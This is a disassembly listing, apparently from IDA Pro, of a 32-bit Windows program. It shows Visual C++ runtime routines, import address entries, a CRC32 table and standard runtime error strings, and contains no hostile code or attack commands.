; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
; [00000095 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO	EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+"	TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __commit.	PRESS KEYPAD "+" TO EXPAND]
; [000002B9 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+"	TO EXPAND]
; [00000035 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD	"+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD	"+" TO EXPAND]
; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+"	TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS	KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __IncMan.	PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION __RoundMan. PRESS	KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD	"+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __ShrMan.	PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4192B5	proc near		; CODE XREF: sub_4192E1+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_428950
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	__ld12cvt
		add	esp, 0Ch
		retn
sub_4192B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4192CB	proc near		; CODE XREF: sub_41930E+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_428968
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	__ld12cvt
		add	esp, 0Ch
		retn
sub_4192CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192E1	proc near		; CODE XREF: __fassign+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	___strgtold12
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4192B5
		add	esp, 24h
		leave
		retn
sub_4192E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41930E	proc near		; CODE XREF: __fassign+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	___strgtold12
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4192CB
		add	esp, 24h
		leave
		retn
sub_41930E	endp

; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
; [00000064 BYTES: COLLAPSED FUNCTION __fltout.	PRESS KEYPAD "+" TO EXPAND]
; [000000B6 BYTES: COLLAPSED FUNCTION ___dtold.	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	2
		call	__amsg_exit
		pop	ecx
		retn
; [00000015 BYTES: COLLAPSED FUNCTION ___tzset.	PRESS KEYPAD "+" TO EXPAND]
; [0000025E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+"	TO EXPAND]
; [000001AC BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND]
; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate.	PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO	EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+"	TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD	"+" TO EXPAND]
; [00000146 BYTES: COLLAPSED FUNCTION __chsize.	PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+"	TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION ___mtold12. PRESS	KEYPAD "+" TO EXPAND]
; [000004A1 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_41A35C	dd offset loc_419F25	; DATA XREF: ___strgtold12+63r
		dd offset loc_419F74	; jump table for switch	statement
		dd offset loc_419FCB
		dd offset loc_419FF5
		dd offset loc_41A050
		dd offset loc_41A0C7
		dd offset loc_41A0FD
		dd offset loc_41A147
		dd offset loc_41A126
		dd offset loc_41A1AB
		dd offset loc_41A195
		dd offset loc_41A161
; [00000293 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO	EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+"	TO EXPAND]
; [00000076 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
; [00000220 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS	KEYPAD "+" TO EXPAND]
; [0000007C BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+"	TO EXPAND]
; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO	EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ.	PRESS KEYPAD "+" TO EXPAND]
; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO	EXPAND]
; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO	EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _findenv.	PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND]
; [00000073 BYTES: COLLAPSED FUNCTION __mbschr.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup.	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41AFC0	proc near		; CODE XREF: sub_404059+15Dp
		jmp	ds:dword_41B1D0
sub_41AFC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41AFC6	proc near		; CODE XREF: __global_unwind2+13p
		jmp	ds:dword_41B024
sub_41AFC6	endp

_text		ends

; Section 2. (virtual address 0001B000)
; Virtual size			: 0000141C (   5148.)
; Section size in file		: 0000141C (   5148.)
; Offset to raw	data for section: 0001B000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 41B000h
dword_41B000	dd 77E70396h		; DATA XREF: sub_40724A+126r
					; WinMain(x,x,x,x)+1B5r ...
dword_41B004	dd 77E6BD68h		; DATA XREF: ___crtsetenv+173r
dword_41B008	dd 77E77F2Eh		; DATA XREF: ___crtCompareStringA+3Er
					; ___crtCompareStringA+261r
dword_41B00C	dd 77E762D0h		; DATA XREF: ___crtCompareStringA+5Br
					; ___crtCompareStringA+B9r
dword_41B010	dd 77E70192h		; DATA XREF: __chsize+F9r
dword_41B014	dd 77E73FF9h		; DATA XREF: __commit+2Cr
dword_41B018	dd 77E7FF2Eh		; DATA XREF: __set_osfhnd:loc_4189FBr
					; __free_osfhnd:loc_418A75r
dword_41B01C	dd 77E7C866h		; DATA XREF: ___crtGetStringTypeA+3Fr
					; ___crtGetStringTypeA+12Dr
dword_41B020	dd 77E641EBh		; DATA XREF: ___crtGetStringTypeA+59r
					; ___crtGetStringTypeA+8Dr
dword_41B024	dd 77F6183Eh		; DATA XREF: sub_41AFC6r
dword_41B028	dd 77E78406h		; DATA XREF: __ioinit+FFr
					; __ioinit+166r ...
dword_41B02C	dd 77E79C3Dh		; DATA XREF: __ioinit+158r
					; __NMSG_WRITE+143r
dword_41B030	dd 77E7C931h		; DATA XREF: __ioinit+19Dr
dword_41B034	dd 77E77EE1h		; DATA XREF: ___crtGetEnvironmentStringsA+9r
dword_41B038	dd 77E67702h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_4179CFr
					; ___crtGetEnvironmentStringsA+E1r
dword_41B03C	dd 77E7C9E1h		; DATA XREF: ___crtGetEnvironmentStringsA+CEr
dword_41B040	dd 77E9C5B1h		; DATA XREF: ___crtGetEnvironmentStringsA+11Fr
dword_41B044	dd 77E77CCEh		; DATA XREF: sub_401000+66r
					; sub_4010E3+65r ...
dword_41B048	dd 77E61BE6h		; DATA XREF: sub_4010E3+A9r
					; sub_4013EE+2C2r ...
dword_41B04C	dd 77E78B82h		; DATA XREF: sub_4013EE+135r
					; sub_405680+80r ...
dword_41B050	dd 77E77963h		; DATA XREF: sub_4013EE+120r
					; sub_4013EE+150r ...
dword_41B054	dd 77E79D8Ch		; DATA XREF: sub_4013EE+103r
					; sub_403520+137r ...
dword_41B058	dd 77E73EACh		; DATA XREF: sub_4013EE+E9r
dword_41B05C	dd 77E7A837h		; DATA XREF: sub_4013EE+68r
					; sub_403520+5Dr ...
dword_41B060	dd 77F5157Dh		; DATA XREF: sub_4022E3:loc_40241Fr
					; sub_4022E3:loc_402543r ...
dword_41B064	dd 77E7AC37h		; DATA XREF: sub_4022E3+10Er
					; sub_4022E3+22Dr ...
dword_41B068	dd 77E7A099h		; DATA XREF: sub_4022E3+58r
					; sub_4022E3+177r ...
dword_41B06C	dd 77E73C49h		; DATA XREF: sub_4027F8+20Er
					; sub_402A0C+23Fr ...
dword_41B070	dd 77F7E300h		; DATA XREF: sub_4027F8+13Fr
dword_41B074	dd 77F7E21Fh		; DATA XREF: sub_4027F8+D4r
dword_41B078	dd 77E7751Ah		; DATA XREF: sub_4027F8+32r
					; sub_4030D9+27r ...
dword_41B07C	dd 77E7C706h		; DATA XREF: sub_402A0C+77r
dword_41B080	dd 77F53275h		; DATA XREF: sub_402A0C+6Br
					; sub_402A0C+22Fr
dword_41B084	dd 77E70F89h		; DATA XREF: sub_402D63+Dr _time+Dr
dword_41B088	dd 77E802FCh		; DATA XREF: sub_40318B+18Cr
					; sub_40318B+2D4r ...
dword_41B08C	dd 77E6D75Bh		; DATA XREF: sub_40318B+182r
					; sub_410A5A+FFr
dword_41B090	dd 77E75CB5h		; DATA XREF: sub_403520+478r
					; sub_403DCB+DFr ...
dword_41B094	dd 77E61BB8h		; DATA XREF: sub_403520+462r
					; sub_403DCB+A7r ...
dword_41B098	dd 77E704FCh		; DATA XREF: sub_403DCB+74r
					; WinMain(x,x,x,x)+C7r	...
dword_41B09C	dd 77E64106h		; DATA XREF: sub_404BCC+9Fr
					; sub_410E85+1B6r
dword_41B0A0	dd 77E64006h		; DATA XREF: sub_404BCC+8Br
					; sub_410E85+19Fr
dword_41B0A4	dd 77E793EFh		; DATA XREF: sub_404D4E+1EEr
					; sub_405680+38r
dword_41B0A8	dd 77E74CABh		; DATA XREF: sub_404D4E+110r
					; sub_40724A+10Fr ...
dword_41B0AC	dd 77E78EAAh		; DATA XREF: sub_404FFE+5E8r
dword_41B0B0	dd 77E79424h		; DATA XREF: sub_404FFE+27Br
dword_41B0B4	dd 77E794BFh		; DATA XREF: sub_404FFE+26Dr
dword_41B0B8	dd 77E75E67h		; DATA XREF: sub_404FFE+20Dr
					; sub_404FFE+5D7r
dword_41B0BC	dd 77E75D9Eh		; DATA XREF: sub_404FFE+1FCr
dword_41B0C0	dd 77E78C81h		; DATA XREF: sub_405680+6Cr
					; __lseek+4Fr
dword_41B0C4	dd 77E805D8h		; DATA XREF: sub_405EFF+13Ar
					; sub_405EFF:loc_406395r ...
dword_41B0C8	dd 77E7A5FDh		; DATA XREF: sub_405EFF+11r
					; __ms_p5_mp_test_fdiv+15r ...
dword_41B0CC	dd 77E79F93h		; DATA XREF: sub_405EFF+2r
					; sub_40724A+FBr ...
dword_41B0D0	dd 77E76A60h		; DATA XREF: sub_40703D+2Dr
dword_41B0D4	dd 77E71B14h		; DATA XREF: sub_4070C7+26r
dword_41B0D8	dd 77E7166Fh		; DATA XREF: sub_4070C7+1Dr
dword_41B0DC	dd 77E75090h		; DATA XREF: sub_407102+69r
dword_41B0E0	dd 77E74D76h		; DATA XREF: sub_407102+36r
dword_41B0E4	dd 77E77797h		; DATA XREF: sub_407102+25r
dword_41B0E8	dd 77E7011Ah		; DATA XREF: sub_407184+96r
dword_41B0EC	dd 77E73CE2h		; DATA XREF: sub_407184+60r
dword_41B0F0	dd 77E668D9h		; DATA XREF: sub_40724A+15Dr
dword_41B0F4	dd 77E6AD34h		; DATA XREF: sub_40724A+35r
					; sub_409557+35E2r
dword_41B0F8	dd 77E79924h		; DATA XREF: ___crtLCMapStringA+20Dr
					; ___crtGetEnvironmentStringsA+7Er ...
dword_41B0FC	dd 77E65F4Ch		; DATA XREF: sub_40822D+34r
					; .text:0040F7A1r
dword_41B100	dd 77E79C90h		; DATA XREF: sub_408849+Cr
					; sub_40F002+79r ...
dword_41B104	dd 77E616B4h		; DATA XREF: sub_4088B4+113r
					; sub_4088B4+21Br ...
dword_41B108	dd 77E76A2Eh		; DATA XREF: sub_4088B4+DEr
dword_41B10C	dd 77E706B7h		; DATA XREF: sub_4088B4+B9r
					; sub_408BC1+10r ...
dword_41B110	dd 77E73628h		; DATA XREF: WinMain(x,x,x,x)+33Br
					; sub_409557+3E6Cr ...
dword_41B114	dd 77E80656h		; DATA XREF: WinMain(x,x,x,x)+267r
dword_41B118	dd 77E6BD13h		; DATA XREF: WinMain(x,x,x,x):loc_408DD3r
dword_41B11C	dd 77E79D5Bh		; DATA XREF: WinMain(x,x,x,x)+6Br
					; WinMain(x,x,x,x)+311r
dword_41B120	dd 77E7C2C4h		; DATA XREF: WinMain(x,x,x,x)+64r
dword_41B124	dd 77E75CEBh		; DATA XREF: sub_409557+40C0r
					; sub_40FC5F+9Fr ...
dword_41B128	dd 77E71AFEh		; DATA XREF: sub_409557+34ACr
dword_41B12C	dd 77E7FF65h		; DATA XREF: sub_40EEAD+5Ar
dword_41B130	dd 77EB7624h		; DATA XREF: sub_40EEAD+3Dr
dword_41B134	dd 77E79CE3h		; DATA XREF: sub_40F002+91r
					; sub_40FEA9+77r
dword_41B138	dd 77E7727Ah		; DATA XREF: sub_40F002+3Br
					; sub_40FDB0+23r
dword_41B13C	dd 77E76968h		; DATA XREF: sub_40F445+5Fr
dword_41B140	dd 77E7513Ch		; DATA XREF: .text:0040F838r
dword_41B144	dd 77E7C657h		; DATA XREF: .text:0040F8ACr
					; sub_410E85+24r
dword_41B148	dd 77E74C59h		; DATA XREF: sub_40FC5F+C7r
dword_41B14C	dd 77EC7C51h		; DATA XREF: sub_410034+5Er
dword_41B150	dd 77E76C1Ah		; DATA XREF: sub_410E85+1CFr
dword_41B154	dd 77F516F8h		; DATA XREF: __heap_alloc+2Er
					; _realloc+AFr	...
dword_41B158	dd 77F51597h		; DATA XREF: _free+27r
					; ___sbh_free_block+2C4r ...
dword_41B15C	dd 77F5722Fh		; DATA XREF: _realloc+F0r
					; ___sbh_alloc_new_region+28r
dword_41B160	dd 77E76E3Dh		; DATA XREF: _time+6Cr	__tzset+38r
dword_41B164	dd 77E61608h		; DATA XREF: _time+17r
dword_41B168	dd 77E6177Ah		; DATA XREF: start+9Fr	__ioinit+59r
dword_41B16C	dd 77E7C938h		; DATA XREF: start+74r
dword_41B170	dd 77E7C486h		; DATA XREF: start+26r
dword_41B174	dd 77E76E0Bh		; DATA XREF: __heap_init+2Fr
dword_41B178	dd 77E7C726h		; DATA XREF: __heap_init+11r
dword_41B17C	dd 77E79E34h		; DATA XREF: ___sbh_free_block+23Fr
dword_41B180	dd 77E7980Ah		; DATA XREF: ___sbh_alloc_new_region+76r
					; ___sbh_alloc_new_group+51r
dword_41B184	dd 77E77405h		; DATA XREF: ___crtLCMapStringA+5Er
					; ___crtLCMapStringA+A7r
dword_41B188	dd 77E781F9h		; DATA XREF: ___crtLCMapStringA+42r
					; ___crtLCMapStringA+14Dr ...
dword_41B18C	dd 77E7849Fh		; DATA XREF: __setmbcp+48r
					; _setSBUpLow+14r ...
dword_41B190	dd 77E7A13Fh		; DATA XREF: _getSystemCP+2Fr
dword_41B194	dd 77E6C703h		; DATA XREF: _getSystemCP+1Ar
dword_41B198	dd 77EB9A84h		; DATA XREF: __XcptFilter+138r
		align 10h
dword_41B1A0	dd 71AB12F8h		; DATA XREF: sub_40465A+35r
dword_41B1A4	dd 71AB3E5Dh		; DATA XREF: sub_40465A+57r
dword_41B1A8	dd 71AB1836h		; DATA XREF: sub_40465A+6Er
					; sub_4046D7+8Er
dword_41B1AC	dd 71AB41DAh		; DATA XREF: sub_404059+47r
					; sub_40465A+15r
dword_41B1B0	dd 71AB3C22h		; DATA XREF: sub_404059+78r
					; sub_40465A+21r
dword_41B1B4	dd 71AB3F8Dh		; DATA XREF: sub_404059+91r
dword_41B1B8	dd 71AB155Ah		; DATA XREF: sub_404059+A1r
dword_41B1BC	dd 71AB1746h		; DATA XREF: sub_404059+B7r
					; sub_40465A+41r
dword_41B1C0	dd 71AB3ECEh		; DATA XREF: sub_404059+C8r
dword_41B1C4	dd 71AB5DE2h		; DATA XREF: sub_404059+DCr
dword_41B1C8	dd 71AB1AF4h		; DATA XREF: sub_404059+E8r
					; sub_4046D7+66r
dword_41B1CC	dd 71AB1890h		; DATA XREF: sub_404059+119r
dword_41B1D0	dd 71AB1B7Bh		; DATA XREF: sub_41AFC0r
dword_41B1D4	dd 71AB868Dh		; DATA XREF: sub_404059+184r
dword_41B1D8	dd 71AB5690h		; DATA XREF: sub_404059+1F4r
dword_41B1DC	dd 71AB1A6Dh		; DATA XREF: sub_404059+245r
					; sub_40465A+68r ...
		dd 2 dup(0)
dword_41B1E8	dd 0			; DATA XREF: sub_40302C+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h
byte_41B5DC	db 0A1h			; DATA XREF: __output+4Ar
		db 8Eh,	0Ch, 0C3h
		dd 5A05DF1Bh, 2D02EF8Dh
dbl_41B5E8	dq 9.765625e-4		; DATA XREF: sub_403520+2BDr
					; sub_403520+2D8r ...
dword_41B5F0	dd 0FFFFFFFFh, 413DBBh,	413DCFh	; DATA XREF: start+5o
byte_41B5FC	db 6			; DATA XREF: __output:loc_414B25r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		db 8,'`h````',0
		dd 78707000h, 8787878h,	807h, 8080007h,	8000008h, 7000800h
		dd 8
aNull_0:				; DATA XREF: .data:off_4280F4o
		unicode	0, <(null)>,0
		align 4
aNull		db '(null)',0           ; DATA XREF: .data:off_4280F0o
		align 10h
dbl_41B670	dq 1.0			; DATA XREF: __ms_p5_test_fdiv+2Ar
dbl_41B678	dq 4.195835e6		; DATA XREF: __ms_p5_test_fdiv+Fr
dbl_41B680	dq 3.145727e6		; DATA XREF: __ms_p5_test_fdiv+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: __ms_p5_mp_test_fdivo
		align 10h
dbl_41B6B0	dq 0.0			; DATA XREF: __positive+6r
; char aE000[]
aE000		db 'e+000',0            ; DATA XREF: __cftoe+93o
		align 10h
dword_41B6C0	dd 2 dup(0)		; DATA XREF: ___crtLCMapStringA+36o
					; ___crtGetStringTypeA+39o ...
dword_41B6C8	dd 0FFFFFFFFh, 416C59h,	416C5Dh, 0FFFFFFFFh, 416D0Dh, 416D11h
					; DATA XREF: ___crtLCMapStringA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 10h
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_42863Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o
		align 10h
; char asc_41B990[]
asc_41B990	db 0Ah			; DATA XREF: __NMSG_WRITE+F1o
		db 0Ah,0
		align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
; char a___[]
a___		db '...',0              ; DATA XREF: __NMSG_WRITE+BFo
; char aProgramNameUnk[]
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do
		align 10h
dword_41B9D0	dd 0FFFFFFFFh, 4188C6h,	4188CAh	; DATA XREF: ___crtGetStringTypeA+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
; char VarName[]
VarName		db 'TZ',0               ; DATA XREF: __tzset+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+24o
; char a1Qnan[]
a1Qnan		db '1#QNAN',0           ; DATA XREF: _$I10_OUTPUT:loc_41A481o
		align 4
; char a1Inf[]
